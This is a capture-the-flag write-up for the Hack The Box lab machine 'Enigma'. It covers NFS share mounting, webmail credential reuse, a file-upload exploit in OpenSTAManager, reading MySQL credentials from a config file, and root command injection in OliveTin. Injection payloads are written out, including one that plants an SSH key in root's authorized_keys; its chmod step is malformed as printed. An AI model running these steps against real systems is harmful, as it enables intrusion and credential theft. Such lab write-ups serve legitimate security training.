HTB-Enigma Writeup

Muhammad Saad — Mon, 21 Sep 2026 05:52:50 +0000

Enigma is an easy Linux machine on Hack The Box that requires chaining network file sharing, email enumeration, and local misconfigurations to achieve full system compromise.

Active Recon

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.129.139.137 > enigma_nmap.txt

Open ports:
80, 110, 111, 143, 993, 995, 2049, 41393, 43313, 46985, 54279, 56515

Interesting service:
2049/tcp open  nfs  3-4 (RPC #100003)

NFS Enumeration

showmount -e enigma.htb

Export list for enigma.htb: 
/srv/nfs/onboarding *

Mount the NFS share:

sudo mkdir /mnt/enigma 
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
ls -la /mnt/enigma

-rw-r--r-- 1 root root 1751 Feb 20 2026 New_Employee_Access.pdf

The PDF contained webmail credentials:

URL:      http://mail001.enigma.htb
Username: kevin
Password: *******

From Kevin's mailbox, additional username was also discovered: sarah

Initial Access

The same password worked for Sarah's mailbox:

Username: sarah
Password: ******

Sarah's mailbox contained an OpenSTAManager access request:

URL:      http://support_001.enigma.htb
Username: admin
Password: ******

OpenSTAManager was running: Version: 2.9.8 (R5ff39df9b)

The application was vulnerable to file upload exploitation via:
CVE-2025-69212

This resulted in command execution as:
www-data

Low-Privilege Enumeration

After obtaining www-data, local listening services were enumerated:
ss -lntp

Interesting services:
127.0.0.1:3306
127.0.0.1:1337

MySQL credentials were found in the OpenSTAManager configuration:
cat /var/www/html/openstamanager/config.inc.php

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = '*******';

Connect to MySQL: mysql -h 127.0.0.1 -u brollin -p

USE openstamanager;
The zz_users table contained the haris user's password hash.
After cracking the hash, the credentials were discovered.
SSH access was then obtained as haris.
cat /home/haris/user.txt

Privilege Escalation

The service running on port 1337 was identified as OliveTin.
curl 127.0.0.1:1337

Since the service was bound to localhost, an SSH tunnel was created:
ssh -L 1337:127.0.0.1:1337 haris@enigma.htb

OliveTin configuration: cat /etc/OliveTin/config.yaml

The configuration contained a Backup Database action:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"

The db_pass parameter was vulnerable to command injection.

A harmless proof-of-concept was used first: test'; id > /tmp/olivetin_poc; echo '

Then: cat /tmp/olivetin_poc

uid=0(root) gid=0(root) groups=0(root)
This confirmed command execution as root.

Root Access

Generate an SSH key on Kali:

ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub

The public key was injected through the vulnerable db_pass parameter:

test'; mkdir -p /root/.ssh; echo '<YOUR_PUBLIC_KEY>' >> /root/.ssh/authorized_keys; chmod 600 echo '

Then connect as root:

ssh -i ~/.ssh/id_ed25519 root@10.129.139.137
whoami
root

Finally: cat /root/root.txt

Root obtained.

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

DEV Community: Muhammad Saad

HTB-Enigma Writeup

Active Recon

NFS Enumeration

Initial Access

Low-Privilege Enumeration

Privilege Escalation

Root Access